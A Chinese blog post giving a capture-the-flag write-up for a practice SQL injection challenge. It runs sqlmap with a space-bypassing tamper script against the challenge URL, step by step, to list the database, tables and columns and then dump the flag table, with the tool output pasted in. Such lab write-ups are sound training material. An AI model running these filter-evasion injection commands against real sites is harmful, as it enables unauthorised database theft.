实验吧-简单的注sql入 writeup

原创

怀念_过去 于 2017-11-29 16:57:04 发布 542 收藏

分类专栏： CTF 文章标签： python

本文链接：https://blog.csdn.net/qq_24966613/article/details/78667352

解题链接： http://ctf5.shiyanbar.com/web/index_2.php

1.输入id值，通过回显发现题目应该是进行了空格过滤

2.使用sqlmap进行注入

2.1 python sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_2.php?id=1” –random-agent –tamper=space2comment.py

–current-db 查看当前数据库名称，返回web1

```
[16:41:10] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.18, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[16:41:10] [INFO] fetching current database
[16:41:10] [INFO] resumed: web1
current database:    'web1'
```


2.2 python sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_2.php?id=1” –random-agent –tamper=space2comment.py

–current-db –tables 查看当前数据库名称和数据库里所有的表

```
[16:41:10] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.18, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[16:41:10] [INFO] fetching current database
[16:41:10] [INFO] resumed: web1
current database:    'web1'
[16:41:10] [INFO] fetching database names
[16:41:10] [INFO] the SQL query used returns 2 entries
[16:41:10] [INFO] resumed: information_schema
[16:41:10] [INFO] resumed: web1
[16:41:10] [INFO] fetching tables for databases: 'information_schema, web1'
[16:41:10] [INFO] the SQL query used returns 42 entries
Database: web1
[2 tables]
+-------------------------------------+
| flag                                |
| web_1                               |
+-------------------------------------+
```


看到web1里有个flag表，看来key就在里面

2.3 python sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_2.php?id=1” –random-agent –tamper=space2comment.py

–current-db –tables –columns 看到flag表里面有个flag列

```
Database: web1
Table: flag
[2 columns]
+--------+----------+
| Column | Type     |
+--------+----------+
| flag   | char(30) |
| id     | int(4)   |
+--------+----------+
```


2.4 python sqlmap.py -u “http://ctf5.shiyanbar.com/web/index_2.php?id=1” –random-agent –tamper=space2comment.py –current-db –tables –columns flag –dump